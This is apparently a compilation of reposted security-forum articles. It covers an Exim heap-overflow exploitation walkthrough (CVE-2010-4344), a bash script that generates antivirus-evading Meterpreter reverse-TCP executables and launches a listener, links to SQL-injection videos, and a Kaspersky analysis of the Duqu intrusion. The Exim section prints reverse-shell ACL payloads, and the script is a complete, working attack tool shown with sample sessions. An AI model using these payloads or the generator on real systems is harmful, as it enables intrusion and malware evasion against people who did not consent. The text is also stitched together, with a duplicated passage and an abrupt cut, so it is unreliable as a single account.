.text:080A9F30 mov edx, [ebp+precision] .text:080A9F33 test edx, edx .text:080A9F35 js loc_80AA044 .text:080A9F3B mov ecx, [ebp+precision] .text:080A9F3E cmp ecx, eax .text:080A9F40 mov [ebp+width], ecx .text:080A9F43 jle loc_80A9E06 .text:080A9F49 mov [ebp+width], eax .text:080A9F4C jmp loc_80A9E06 last - width is compared with p and the two variables width and precision are changed. .text:080A9E06 loc_80A9E06: .text:080A9E06 mov eax, [ebp+last] .text:080A9E09 sub eax, [ebp+width] .text:080A9E0C cmp edi, eax .text:080A9E0E jb short loc_80A9E22 .text:080A9E10 mov eax, [ebp+last_minus_one] .text:080A9E13 mov [ebp+yield], 0 .text:080A9E1A sub eax, edi .text:080A9E1C mov [ebp+precision], eax .text:080A9E1F mov [ebp+width], eax The function "sprintf()" is called with the new width and precision. .text:080A9E22 loc_80A9E22: .text:080A9E1C mov [ebp+precision], eax .text:080A9E1F mov [ebp+width], eax .text:080A9E28 mov [esp+10h], ebx .text:080A9E2C mov dword ptr [esp+4], offset a_S_0 // "%*.*s" .text:080A9E34 mov [esp+0Ch], edx .text:080A9E38 mov [esp+8], ecx .text:080A9E3C mov [esp], edi .text:080A9E3F call _sprintf .text:080A9E44 mov ebx, [ebp+var_24] .text:080A9E47 cmp byte ptr [ebx], 53h .text:080A9E4A jnz short loc_80A9E5B As we can see, calling the "string_vformat()" function with an overly long string leads to an exploitable heap overflow condition. To remotely trigger the vulnerability, an attacker can send a malformed email message which will be rejected and logged via the "log_write()" [exim-4.69/src/log.c] function which calls the vulnerable "string_vformat()" function. 2. Attack Vector and Reliable Code Execution In order to exploit the vulnerability, an attacker has to find a way to reach the "string_vformat()" function with a controlled buflen and input string. A reliable way is to send an overly large email. When such an email is received, Exim logs the error including various information related to the sender and email headers. This is done via the "log_write()" function which logs errors this way: - First, it allocates a buffer of 0x2000 bytes for the error message - Then, it dumps the information related to the sender of the message - And then, it dumps each header of the received email using "string_format()" The "string_format()" function is merely a wrapper around "string_vformat()". The information related to the sender is formatted the following way: - rejected from <attacker@example.com> H=(localhost) [192.168.158.129]: message too big: read=64948256 max=52428800 - Envelope-from: <attacker@example.com> - Envelope-to: <target@target.com> Each header is dumped separated by two blank spaces. Here is the "log_write()" function in assembly code: .text:0807CC50 log_write proc near .text:0807CC50 .text:0807CC50 var_9C = dword ptr -9Ch .text:0807CC50 src = dword ptr -98h .text:0807CC50 var_94 = dword ptr -94h .text:0807CC50 n = dword ptr -90h [?] .text:0807D6D8 loc_807D6D8: .text:0807D6D8 mov dword ptr [esp], 2000h .text:0807D6DF call _malloc // Error message buffer is allocated .text:0807D6E4 test eax, eax .text:0807D6E6 mov ds:dword_80F37F0, eax .text:0807D6EB jnz loc_807CCFE .text:0807D6F1 mov eax, ds:stderr [?] .text:0807CEAA loc_807CEAA: .text:0807CEAA lea eax, [ebp+arg_C] .text:0807CEAD mov [esp+0Ch], eax .text:0807CEB1 mov eax, ds:dword_80F37F0 .text:0807CEB6 mov edi, [ebp+arg_8] .text:0807CEB9 mov [esp], esi .text:0807CEBC add eax, 1FFFh .text:0807CEC1 sub eax, esi .text:0807CEC3 mov [esp+8], edi .text:0807CEC7 mov [esp+4], eax .text:0807CECB call string_vformat // Dump "rejected from" .text:0807CED0 test eax, eax .text:0807CED2 jnz short loc_807CF2B .text:0807CED4 mov dword ptr [esi], 2A2A2A2Ah [?] .text:0807D74C test ecx, ecx .text:0807D74E jle loc_807DBF0 .text:0807D754 mov eax, ds:sender_address .text:0807D759 mov dword ptr [esp+8], offset aEnvelopeFromS // "Envelope-from: <%s>\n" .text:0807D761 mov [esp], esi .text:0807D764 mov [esp+0Ch], eax .text:0807D768 mov eax, ds:dword_80F37F0 // Error msg buffer .text:0807D76D add eax, 2000h .text:0807D772 sub eax, esi .text:0807D774 mov [esp+4], eax ; int .text:0807D778 call string_format .text:0807D77D cmp byte ptr [esi], 0 .text:0807D780 jz short loc_807D794 .text:0807D782 lea esi, [esi+0] [?] .text:0807D799 mov ebx, [ebp+s] .text:0807D79C mov eax, [eax] .text:0807D79E mov dword ptr [esp+8], offset aEnvelopeToS // "Envelope-to: <%s>\n" .text:0807D7A6 mov [esp], ebx .text:0807D7A9 mov [esp+0Ch], eax .text:0807D7AD mov eax, ds:dword_80F37F0 // Error msg buffer .text:0807D7B2 add eax, 2000h .text:0807D7B7 sub eax, ebx .text:0807D7B9 mov [esp+4], eax .text:0807D7BD call string_format .text:0807D7C2 cmp byte ptr [ebx], 0 .text:0807D7C5 jz short loc_807D7D0 [?] .text:0807D848 loc_807D848: .text:0807D848 mov eax, [edi+0Ch] .text:0807D84B test eax, eax .text:0807D84D jz short loc_807D896 .text:0807D84F mov [esp+10h], eax .text:0807D853 mov eax, [edi+4] .text:0807D856 mov dword ptr [esp+8], aCS_1 // "%c %s" .text:0807D85E mov [esp], ebx ; s .text:0807D861 mov [esp+0Ch], eax .text:0807D865 mov eax, ds:dword_80F37F0 // Error msg buffer .text:0807D86A add eax, 2000h .text:0807D86F sub eax, ebx .text:0807D871 mov [esp+4], eax ; int .text:0807D875 call string_format // Dump a header .text:0807D87A cmp byte ptr [ebx], 0 .text:0807D87D jz short loc_807D888 .text:0807D87F nop [?] .text:0807D888 loc_807D888: .text:0807D888 test eax, eax .text:0807D88A lea esi, [esi+0] .text:0807D890 jz loc_807DC70 .text:0807D896 .text:0807D896 loc_807D896: .text:0807D896 mov edi, [edi] // Is it the last header? .text:0807D898 test edi, edi .text:0807D89A jnz short loc_807D848 // Proceed the next header To reliably exploit this vulnerability, an attacker has to fill the 0x2000 bytes buffer until 3 bytes are left before the last header is copied into the 0x2000 bytes buffer. This is the key of a reliable exploitation to ensure that "p" and "last" are equal (i.e. pointing to the same address). Reliability also depends on calculating the exact and total size of the headers to be sent. This calculation must take into account various informations including: size of "MAIL FROM:" header, size of hostnames, the maximum size supported by the server, and other data related to headers and responses. When the last header is handled, the buffer overflow occurs and the memory after the 0x2000 bytes buffer is overwritten with the content of the last header. A few bytes after the 0x2000 bytes buffer, we can find some ACLs: - At 0x09C1C92E is the penultimate header - At 0x09C1CA0E are the ACLs 09C1C91E 41 41 41 41 41 41 41 41 0A 20 20 30 30 30 30 30 AAAAAAAA. 00000 09C1C92E 30 30 30 36 32 3A 20 41 41 41 41 41 41 41 41 41 00062: AAAAAAAAA 09C1C93E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 09C1C94E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 09C1C95E 41 41 41 41 41 41 0A 00 00 00 00 00 00 00 09 40 AAAAAA.........@ 09C1C96E 00 00 61 40 61 2E 63 6F 6D 00 72 20 6D 65 73 73 ..a@a.com.r mess 09C1C97E 61 67 65 2C 20 65 6E 64 69 6E 67 20 77 69 74 68 age, ending with 09C1C98E 20 22 2E 22 20 6F 6E 20 61 20 6C 69 6E 65 20 62 "." on a line b 09C1C99E 79 20 69 74 73 65 6C 66 0D 0A 00 39 3A 34 37 3A y itself...9:47: 09C1C9AE 31 39 20 2D 30 35 30 30 0D 0A 00 75 65 7D 66 61 19 -0500...ue}fa 09C1C9BE 69 6C 7D 7D 7B 5C 5C 4E 5B 5C 5C 5E 5D 5C 5C 4E il}}{\\N[\\^]\\N 09C1C9CE 7D 7B 5E 5E 7D 7D 7D 7B 5C 5C 4E 28 5B 5E 3A 5D }{^^}}}{\\N([^:] 09C1C9DE 2B 3A 29 28 2E 2A 29 5C 5C 4E 7D 7B 5C 5C 24 32 +(.*)\\N}{\\$2 09C1C9EE 7D 7D 22 0A 00 5C 5C 5E 5D 5C 5C 4E 7D 7B 5E 5E }}"..\\^]\\N}{^^ 09C1C9FE 7D 7D 7D 7B 7D 7D 7D 7B 7D 66 61 69 6C 7D 3B 20 }}}{}}}{}fail}; 09C1CA0E 24 7B 65 78 74 72 61 63 74 7B 31 7D 7B 3A 3A 7D ${extract{1}{::} 09C1CA1E 7B 24 7B 73 67 7B 24 7B 6C 6F 6F 6B 75 70 7B 24 {${sg{${lookup{$ 09C1CA2E 68 6F 73 74 7D 6E 77 69 6C 64 6C 73 65 61 72 63 host}nwildlsearc 09C1CA3E 68 7B 2F 65 74 63 2F 65 78 69 6D 34 2F 70 61 73 h{/etc/exim4/pas ACLs are used when evaluating the sender's address for instance. With ACLs, it is possible to execute a command such as: ${run{command}} On Linux, when a process forks, the opened file descriptors are copied to the child process. Therefore, when the ACL command is executed, the socket file descriptor can be reused by the child. It is then easy to brute force it and use it as stdin. for fd in range(3, 20): cmd += "${{run{{/bin/sh -c 'exec /bin/sh -i <&{0} >&0 2>&0'}}}} ".format(fd) After the overflow, the ACLs are overwritten: - At 0x09C1C92E is the penultimate header - At 0x09C1C95E is the last header - At 0x09C1CA0E are the overwritten ACLs 09C1C91E 41 41 41 41 41 41 41 41 0A 20 20 30 30 30 30 30 AAAAAAAA. 00000 09C1C92E 30 30 30 36 32 3A 20 41 41 41 41 41 41 41 41 41 00062: AAAAAAAAA 09C1C93E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 09C1C94E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 09C1C95E 41 41 41 41 41 41 0A 20 20 30 30 30 30 30 30 30 AAAAAA. 0000000 09C1C96E 30 36 33 3A 20 24 7B 72 75 6E 7B 2F 62 69 6E 2F 063: ${run{/bin/ 09C1C97E 73 68 20 2D 63 20 27 65 78 65 63 20 2F 62 69 6E sh -c 'exec /bin 09C1C98E 2F 73 68 20 2D 69 20 3C 26 33 20 3E 26 30 20 32 /sh -i <&3 >&0 2 09C1C99E 3E 26 30 27 7D 7D 20 24 7B 72 75 6E 7B 2F 62 69 >&0'}} ${run{/bi 09C1C9AE 6E 2F 73 68 20 2D 63 20 27 65 78 65 63 20 2F 62 n/sh -c 'exec /b 09C1C9BE 69 6E 2F 73 68 20 2D 69 20 3C 26 34 20 3E 26 30 in/sh -i <&4 >&0 09C1C9CE 20 32 3E 26 30 27 7D 7D 20 24 7B 72 75 6E 7B 2F 2>&0'}} ${run{/ 09C1C9DE 62 69 6E 2F 73 68 20 2D 63 20 27 65 78 65 63 20 bin/sh -c 'exec_ 09C1C9EE 2F 62 69 6E 2F 73 68 20 2D 69 20 3C 26 35 20 3E /bin/sh -i <&5 > 09C1C9FE 26 30 20 32 3E 26 30 27 7D 7D 20 24 7B 72 75 6E &0 2>&0'}} ${run 09C1CA0E 7B 2F 62 69 6E 2F 73 68 20 2D 63 20 27 65 78 65 {/bin/sh -c 'exe 09C1CA1E 63 20 2F 62 69 6E 2F 73 68 20 2D 69 20 3C 26 36 c /bin/sh -i <&6 09C1CA2E 20 3E 26 30 20 32 3E 26 30 27 7D 7D 20 24 7B 72 >&0 2>&0'}} ${r 09C1CA3E 75 6E 7B 2F 62 69 6E 2F 73 68 20 2D 63 20 27 65 un{/bin/sh -c 'e In order to trigger the ACL, a second email is sent to the server using the same established connection, which leads to arbitrary code execution with Exim privileges. If combined to a privilege escalation vulnerability (e.g. CVE-2010-4345), this flaw could be remotely exploited to execute arbitrary code with root privileges. Surse: - VUPEN Vulnerability Research Blog - Technical Analysis of the Adobe Acrobat / Reader 0-Day Exploit CVE-2010-2883 - VUPEN Vulnerability Research Blog - Technical Analysis of the Stuxnet Windows Win32K.sys Keyboard Layout 0-Day Exploit CVE-2010-2743 - VUPEN Vulnerability Research Blog - Technical Analysis of Exim "string_vformat()" Remote Buffer Overflow Vulnerability CVE-2010-4344

FUD Payload Generator for Backtrack Today based on Astr0baby’s article on how can we create a fully undetectable metasploit payload, i modified his REVERSE_TCP Payload Generator in order to work with Backtrack 5 distro. Below you can find the modified version and a simple presentation on how it works: #!/bin/bash echo "************************************************************" echo " Automatic shellcode generator - FOR METASPLOIT " echo " By Astr0baby 2011 " echo " With some Randomic gravy and sauce to bypass Antivirus " echo " For Automatic Teensy programming and deployment " echo "************************************************************" rm -rf ShellCode echo "Here is a network device list available on yor machine" cat /proc/net/dev | tr -s ' ' | cut -d ' ' -f1,2 | sed -e '1,2d' echo -e "What network interface are we gonna use ? \c" read interface echo -e "What Port Number are we gonna listen to? : \c" read port echo -e "Please enter a random seed number 1-10000, the larger the number the larger the resulting executable : \c" read seed echo -e "And lastly how many times do we want to encode our payloads 1-20? : \c" read enumber # Get OS name OS=`uname` IO="" # store IP case $OS in Linux) IP=`ifconfig $interface | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'`;; *) IP="Unknown";; esac #echo "$IP" ./msfpayload windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$port EXITFUNC=thread R | ./msfencode -e x86/shikata_ga_nai -c $enumber -t raw | ./msfencode -e x86/jmp_call_additive -c $enumber -t raw | ./msfencode -e x86/call4_dword_xor -c $enumber -t raw | ./msfencode -e x86/shikata_ga_nai -c $enumber > test.c mkdir ShellCode mv test.c ShellCode cd ShellCode #Replacing plus signs at the end of line sed -e 's/+/ /g' test.c > clean.c sed -e 's/buf = /unsigned char micro[]=/g' clean.c > ready.c echo "#include <stdio.h>" >> temp echo 'unsigned char ufs[]=' >> temp for (( i=1; i<=10000;i++ )) do echo $RANDOM $i; done | sort -k1| cut -d " " -f2| head -$seed >> temp2 sed -i 's/$/"/' temp2 sed -i 's/^/"/' temp2 echo ';' >> temp2 cat temp2 >> temp cat ready.c >> temp mv temp ready2.c echo ";" >> ready2.c echo "int main(void) { ((void ())micro)();}" >> ready2.c mv ready2.c final.c echo 'unsigned char tap[]=' > temp3 for (( i=1; i<=999999;i++ )) do echo $RANDOM $i; done | sort -k1| cut -d " " -f2| head -$seed >> temp4 sed -i 's/$/"/' temp4 sed -i 's/^/"/' temp4 echo ';' >> temp4 cat temp4 >> temp3 cat temp3 >> final.c #Cleanup rm -f clean.c rm -f test.c rm -f ready.c rm -f rand.c rm -f temp2 rm -f temp3 rm -f temp4 /usr/bin/i586-mingw32msvc-gcc -Wall ./final.c -o ./final.exe > /dev/null 2>&1 mv final.exe $RANDOM.exe filex=`ls -ct1 | head -1` sumx=`sha1sum $filex` echo $filex "...generated in ShellCode subfolder" echo $filex "sha1checksum is .." $sumx strip --strip-debug $filex cd .. echo " starting the meterpreter listener..." sleep 2 ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$port AutoRunScript=' migrate2 explorer.exe' E In order to be able to compile the generated payload we must install the following packages: root@bt:~# apt-get install mingw32-runtime mingw-w64 mingw gcc-mingw32 mingw32-binutils After the installation we must move our shell-script to default metasploit’s folder (/pentest/exploits/framework) and execute it: root@bt:/pentest/exploits/framework# chmod +x fud.sh root@bt:/pentest/exploits/framework# ./fud.sh ************************************************************ Automatic shellcode generator - FOR METASPLOIT By Astr0baby 2011 With some Randomic gravy and sauce to bypass Antivirus For Automatic Teensy programming and deployment ************************************************************ Here is a network device list available on yor machine lo: eth0: What network interface are we gonna use ? eth0 What Port Number are we gonna listen to? : 443 Please enter a random seed number 1-10000, the larger the number the larger the resulting executable : 6000 And lastly how many times do we want to encode our payloads 1-20? : 5 [*] x86/shikata_ga_nai succeeded with size 317 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 344 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 371 (iteration=3) [*] x86/shikata_ga_nai succeeded with size 398 (iteration=4) [*] x86/shikata_ga_nai succeeded with size 425 (iteration=5) [*] x86/jmp_call_additive succeeded with size 457 (iteration=1) [*] x86/jmp_call_additive succeeded with size 489 (iteration=2) [*] x86/jmp_call_additive succeeded with size 521 (iteration=3) [*] x86/jmp_call_additive succeeded with size 553 (iteration=4) [*] x86/jmp_call_additive succeeded with size 585 (iteration=5) [*] x86/call4_dword_xor succeeded with size 614 (iteration=1) [*] x86/call4_dword_xor succeeded with size 642 (iteration=2) [*] x86/call4_dword_xor succeeded with size 670 (iteration=3) [*] x86/call4_dword_xor succeeded with size 698 (iteration=4) [*] x86/call4_dword_xor succeeded with size 726 (iteration=5) [*] x86/shikata_ga_nai succeeded with size 753 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 780 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 807 (iteration=3) [*] x86/shikata_ga_nai succeeded with size 834 (iteration=4) [*] x86/shikata_ga_nai succeeded with size 861 (iteration=5) 20210.exe ...generated in ShellCode subfolder 20210.exe sha1checksum is .. c69699927e61dbef37423c852cebcd40f883df2b 20210.exe starting the meterpreter listener... Since we have created our payload we will try to check if it works: root@bt:/pentest/exploits/framework/ShellCode# wine 24382.exe fixme:system:SetProcessDPIAware stub! fixme:dwmapi:DwmIsCompositionEnabled 0x33cfdc fixme:file:MoveFileWithProgressW MOVEFILE_WRITE_THROUGH unimplemented fixme:advapi:SetNamedSecurityInfoW L"C:\\windows\\system32\\gecko\\1.0.0\\wine_gecko\\components\\xpti.dat" 1 536870916 (nil) (nil) 0x1b3d42c (nil) fixme:iphlpapi:NotifyAddrChange (Handle 0xa62e8d8, overlapped 0xa62e8e0): stub fixme:file:MoveFileWithProgressW MOVEFILE_WRITE_THROUGH unimplemented fixme:advapi:SetNamedSecurityInfoW L"C:\\windows\\system32\\gecko\\1.0.0\\wine_gecko\\components\\compreg.dat" 1 536870916 (nil) (nil) 0x1c18b0c (nil) wine: configuration in '/root/.wine' has been updated. fixme:toolhelp:CreateToolhelp32Snapshot Unimplemented: heap list snapshot fixme:toolhelp:Heap32ListFirst : stub PAYLOAD => windows/meterpreter/reverse_tcp LHOST => 192.168.200.22 LPORT => 443 AutoRunScript => migrate2 explorer.exe [*] Started reverse handler on 192.168.200.22:443 [*] Starting the payload handler... [*] Sending stage (752128 bytes) to 192.168.200.22 [*] Meterpreter session 1 opened (192.168.200.22:443 -> 192.168.200.22:55865) at 2011-11-09 22:48:24 +0200 meterpreter > ps Process list ============ PID Name Arch Session User Path --- ---- ---- ------- ---- ---- 12 services.exe x86 0 NT AUTHORITY\INTERACTIVE C:\windows\system32\services.exe 17 explorer.exe x86 0 NT AUTHORITY\INTERACTIVE C:\windows\system32\explorer.exe 33 winedevice.exe x86 0 NT AUTHORITY\INTERACTIVE C:\windows\system32\winedevice.exe 8 24382.exe x86 0 NT AUTHORITY\INTERACTIVE Z:\pentest\exploits\framework\ShellCode\24382.exe meterpreter > sysinfo Computer : bt OS : Windows XP (Build 2600, Service Pack 3). Architecture : x86 System Language : en_US Meterpreter : x86/win32 Now our payload is fully undetectable from most of antivirus engines. Of course we can try to scan it using online services such as novirusthanks: Credits go to Astr0baby Sursa: http://www.coresec.org/2011/11/09/fud-payload-generator-for-backtrack/

SQL Injection basics Authors: Xhabie-Crew Sql Injection With Sqlmap http://www.securitytube.net/video/2435 Sql Injection (Step By Step) http://www.securitytube.net/video/2438 Bypass Login With Sql Injection http://www.securitytube.net/video/2439 Atentie, nu sunt tutoriale din care "invatati" ceva, sunt pur demonstrative. Adica NU asa invatati SQL Injection.

The Duqu Saga Continues: Enter Mr. B. Jason and TV’s Dexter Aleks Kaspersky Lab Expert Posted November 11, 12:09 GMT As we informed you earlier, we’ve recently been conducting an investigation into a number of incidents in connection with a Duqu trojan infection. Thankfully we’ve been able to make some headway in getting to the bottom of Duqu and putting together several of the previously absent components without which it has been difficult to understand what’s actually been going on. First things first, we would like to express our sincere thanks to the specialists at CERT Sudan. They’ve been providing us with priceless assistance in our investigation, and showed the utmost professionalism - in full accordance with the values and aims of any CERT around the world. Our cooperation with the Sudanese CERT is ongoing and will cover another three incidents found in the country. Our main achievement has been in the investigation of the incident deemed No.#1, described in my second post about Duqu. We managed to not only locate all the previously undiscovered files of this variant of Duqu, but also to find both the source of the infection and the file dropper that contains the vulnerability exploit in win32k.sys (CVE-2011-3402). Comparing the data we uncovered with that obtained by other researchers and antivirus companies, we’ve elicited various common traits that have revealed the approximate timeline and overall methods used by Duqu’s authors. The dates of the incident correlate with the history of discovery in Iran of a virus called Stars. At that time Iranian specialists didn’t share samples of the discovered virus with any of the anti-virus companies, and this, it has to be said, was a serious mistake, which gave rise to all subsequent events in this saga. Most probably, the Iranians found a keylogger module that had been loaded onto a system and which contained a photo of the NGC 6745 galaxy. This could explain the title Stars given to it. It’s possible that the Iranian specialists found just the keylogger, while the main Duqu module and the dropper (including the documents that contained the then-unknown vulnerability) may have gone undetected. Stage 1: Penetration, E-mail The attack took place on a pre-selected target. For obvious reasons, we can’t reveal the name of the company that was targeted in incident No.#1,. Like with the incident investigated by CrySyS Lab, the attack was launched via e-mail. The object was attacked twice - on April 17 and 21, 2011. The first attempt turned out to be unsuccessful (the e-mail from the attackers wound up in the junk folder), after which they repeated the attack four days later, amending the subject line of the e-mail slightly. Mr. B. Jason sure was dedicated and persistent. It wasn’t a mass spam mail-out, since both the subject and the name of the file mentioned the attacked company specifically. Both times the e-mail was sent from one and the same IP-address, based in Seoul, South Korea. We reckon that this computer was infected earlier by some kind of malicious program and was used unknowingly (to its owner) as a proxy. The second attack turned out successful: the addressee opened the attached DOC file that contained the vulnerability exploit and Trojan installer. The attackers used an interesting ruse at this stage. After the addressee opened the file the exploit started its work: it became active, residing in the memory, but did nothing! Meanwhile, both the original file and Word itself could have been closed. This period of inactivity lasted around ten minutes, after which the exploit waited for the user’s activity to stop (no keyboard or mouse activity). Only then did the dropper kick into action. The variant of the dropper that we found differs somewhat from the dropper found by the Hungarian laboratory Crysys and described by Symantec. However, these differences relate mainly to sizes and dates of creation of the component upon a tiny change to the code. The overall arrangement at this stage looked like this: Exploit -> kernel -> driver in kernel -> loader dll in services.exe -> big pnf in services.exe -> big pnf installing from lsass or AV process. The shellcode of the exploit was contained in an embedded font processed by the win32k.sys system. The font was called Dexter Regular, and its creators were shown as Showtime Inc. The Duqu Saga Continues: Enter Mr. B. Jason and TV’s Dexter Aleks Kaspersky Lab Expert Posted November 11, 12:09 GMT Tags: Duqu, Microsoft Word, Targeted Attacks, Vulnerabilities and exploits, Zero-day vulnerabilities, Stuxnet 0.5 As we informed you earlier, we’ve recently been conducting an investigation into a number of incidents in connection with a Duqu trojan infection. Thankfully we’ve been able to make some headway in getting to the bottom of Duqu and putting together several of the previously absent components without which it has been difficult to understand what’s actually been going on. First things first, we would like to express our sincere thanks to the specialists at CERT Sudan. They’ve been providing us with priceless assistance in our investigation, and showed the utmost professionalism - in full accordance with the values and aims of any CERT around the world. Our cooperation with the Sudanese CERT is ongoing and will cover another three incidents found in the country. Our main achievement has been in the investigation of the incident deemed No.#1, described in my second post about Duqu. We managed to not only locate all the previously undiscovered files of this variant of Duqu, but also to find both the source of the infection and the file dropper that contains the vulnerability exploit in win32k.sys (CVE-2011-3402). Comparing the data we uncovered with that obtained by other researchers and antivirus companies, we’ve elicited various common traits that have revealed the approximate timeline and overall methods used by Duqu’s authors. The dates of the incident correlate with the history of discovery in Iran of a virus called Stars. At that time Iranian specialists didn’t share samples of the discovered virus with any of the anti-virus companies, and this, it has to be said, was a serious mistake, which gave rise to all subsequent events in this saga. Most probably, the Iranians found a keylogger module that had been loaded onto a system and which contained a photo of the NGC 6745 galaxy. This could explain the title Stars given to it. It’s possible that the Iranian specialists found just the keylogger, while the main Duqu module and the dropper (including the documents that contained the then-unknown vulnerability) may have gone undetected. Stage 1: Penetration, E-mail The attack took place on a pre-selected target. For obvious reasons, we can’t reveal the name of the company that was targeted in incident No.#1,. Like with the incident investigated by CrySyS Lab, the attack was launched via e-mail. The object was attacked twice - on April 17 and 21, 2011. The first attempt turned out to be unsuccessful (the e-mail from the attackers wound up in the junk folder), after which they repeated the attack four days later, amending the subject line of the e-mail slightly. Mr. B. Jason sure was dedicated and persistent. It wasn’t a mass spam mail-out, since both the subject and the name of the file mentioned the attacked company specifically. Both times the e-mail was sent from one and the same IP-address, based in Seoul, South Korea. We reckon that this computer was infected earlier by some kind of malicious program and was used unknowingly (to its owner) as a proxy. The second attack turned out successful: the addressee opened the attached DOC file that contained the vulnerability exploit and Trojan installer. The attackers used an interesting ruse at this stage. After the addressee opened the file the exploit started its work: it became active, residing in the memory, but did nothing! Meanwhile, both the original file and Word itself could have been closed. This period of inactivity lasted around ten minutes, after which the exploit waited for the user’s activity to stop (no keyboard or mouse activity). Only then did the dropper kick into action. The variant of the dropper that we found differs somewhat from the dropper found by the Hungarian laboratory Crysys and described by Symantec. However, these differences relate mainly to sizes and dates of creation of the component upon a tiny change to the code. The overall arrangement at this stage looked like this: Exploit -> kernel -> driver in kernel -> loader dll in services.exe -> big pnf in services.exe -> big pnf installing from lsass or AV process. The shellcode of the exploit was contained in an embedded font processed by the win32k.sys system. The font was called Dexter Regular, and its creators were shown as Showtime Inc. This is another prank pulled by the Duqu authors, since Showtime Inc. is the cable broadcasting company behind the TV series Dexter, about a CSI doctor who happens also to be a serial killer who avenges criminals in some post-modern perversion of Charles Bronson’s character in Death Wish. The driver loaded by the exploit into the kernel of the system had a compilation date of August 31, 2007. The analogous driver found in the dropper from CrySyS was dated February 21, 2008. If this information is correct, then the authors of Duqu must have been working on this project for over four years! The driver loaded in the services.exe process a library, which was also located in the body of the exploit – the main module of the dropper – and ran its code. At this stage the dropper attempts to check in the registry the following key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\"CF1D" It should be noted that in the document published by Symantec a CFID key is mentioned; however, this may be a typo. The dropper retrieves from its body the contents of the “.init” section in which there is a header with the magical identifier CIGH, plus extra settings, a PNF (.DLL), and a driver which gets installed on the system. After unpacking the contents of the section, a test is carried out for correspondence of the current date with the range installed in the heading of the “.init” section of the dropper. If the date doesn’t fall within that range, the Trojan is not installed. In our variant, this range was from August 17, 2010 to July 18, 2012. In the sample of the dropper found by CrySyS the range was different: August 17, 2005 to November 2, 2023. Next, the dropper loads the PNF (DLL) part and transfers control to the function exported as No.4. This function is responsible for the installation onto the system and the launch of the driver of the Trojan and encrypted library (PNF DLL), together with the configuration file. The configuration file contains the date of infection and the period of work of the Trojan in the system (by default - 30 days, but this period could change depending on commands from the control center). In this incident, as we assumed earlier, a unique set of files was used, which is different from earlier-known sets. The most important difference is that the main module of the Trojan (the PNF DLL file) had a creation date of April 17 - the same day as the first attack on the victim. This fact shows that the authors build a separate set of files for each specific victim, and do so right before the attack. The files we discovered amount to the following collection: Driver Size Date Main DLL Size Date Config adp55xx.sys 24960 03.11.2010 apd95xx.pnf 248320 17.04.2011 adp96xx.pnf The differences in size of the main DLL (they were found on different computers in one incident) are explained by the fact that, in the first variant of the DLL, the component interacting with the control center is stored in the PNF DLL as a resource numbered 302; and in the second variant this component is included in the compressed “.zdata” section of a loader library that is stored as resource 302. We assume that the compression took place upon forming the set for attacking a different computer on the network. The control server (C2) used in this set also differed from previously discovered ones in India and Belgium. In this incident the control center was situated in another country; however, we cannot publically announce the data due to the ongoing nature of the investigation. Besides, we know of yet another control center used in a different incident; it too is currently being analyzed. This information shall be published shortly. This also seems to indicate that the attackers have used a separate C&C for each unique attack. Stage II: Collecting Info During our investigation of the incident it was established that two computers were compromised in one organization. The first of them was the source of infection from April 21; the second was compromised later, at the end of May. The infection of the second computer occurred via the local network. After infection of the system and establishing the link with the control server, it is clear that an extra module known as a keylogger was loaded and installed, which was able to collect information about the system, take screenshots, search for files, capture passwords, etc. To date, the existence of at least two variants of the given module has been confirmed - that found by Crysys Lab (compilation date June 1, 2011) and that found by Symantec (compilation date August 10, 2011). We haven’t been able to find a similar module in the given incident; however, we can announce that it existed as far back as in May 2011. On both computers were found traces of the operation of a spy module, i.e., files named ~DFxxxxx.tmp (e.g., ~DF1EF83.tmp) and ~DQx.tmp (e.g., ~DQ2C6.tmp). The name format of the file ~DF[five hex digit] differs from the names of the temporary files created by MS Word, which use the format ~DF[four hex digit]. ~DF files contain a compressed identifier of the infected system and start with the line ABh91AY&SY. ~DQ files contain gathered information (lists of processes, screenshots, info about applications). These files are also compressed and contain a similar marker, differing by just one symbol: AEh91AY&SY. At present we do not know what module creates the ~DF files (the ~DQ files are created by the known spy module), or what their precise target is. On the first computer these files were dated April 27 - three days after the date of infection. On May 25, 2011, the spy module created the file ~DQ181.tmp In it is contained information about the network neighborhood of the initially infected computer. On the next day, May 26, 2011, infection of the second computer in the network was recorded. On it was created the file identifier ~DF. What is interesting here is the fact that later on the second computer was created yet another ~DF file. This occurred on June 2, 2011. This date coincides with the date of compilation of the known spy module (June 1, 2011). It is possible that in this period of June 1-2 the authors of Duqu installed this new version of the module on all the infected computers via the C&C server. Traces of the work of this module are visible in the existence of file ~DQ4.tmp, created on June 29. We found three ~DQ-type files, created on May 25, June 29 and August 24. We noticed that all three dates are Wednesdays. This could be just a coincidence, maybe not. Still, based on this ‘coincidence’ it is possible to name the group behind Duqu as the Wednesday’s Gang The Trojan was present in the infection of systems from April 21 right up to the end of October 2011. Its configuration files were installed over at least a minimum of 121 days; the reinstallation of the main module occurred back at the end of June 2011. During all this time the attackers periodically installed new modules, infected other computers on the network, and collected information. Conclusion As part of the investigation of the given incident we’ve established the entry points for penetration of the systems, dates of events, and several facts regarding the conduct of the attackers. This information allows one to date one of the waves of attack to mid-to-late April 2011. Key findings include: - For every victim, a separate set of attack files was created; - Each unique set of files used a separate control server; - The attacks were conducted via e-mails with a .DOC file attached; - The mail-outs took place from anonymous mailboxes, probably via compromised computers; - At least one e-mail address is known from which the mail-outs were conducted -bjason1xxxx@xxxx.com; - For each victim, a separate DOC file was put together; - The vulnerability exploit was contained in the font called “Dexter Regular”; - The attackers changed the shellcode, and varied the range of dates for possible infection; - After penetration into a system the attackers installed extra modules and infected neighboring computers; - The presence on the systems of the files ~DF.tmp and ~DQ.tmp unambiguously points to an infection by Duqu. Due to privacy reasons and protection of the identity of the victim, we cannot 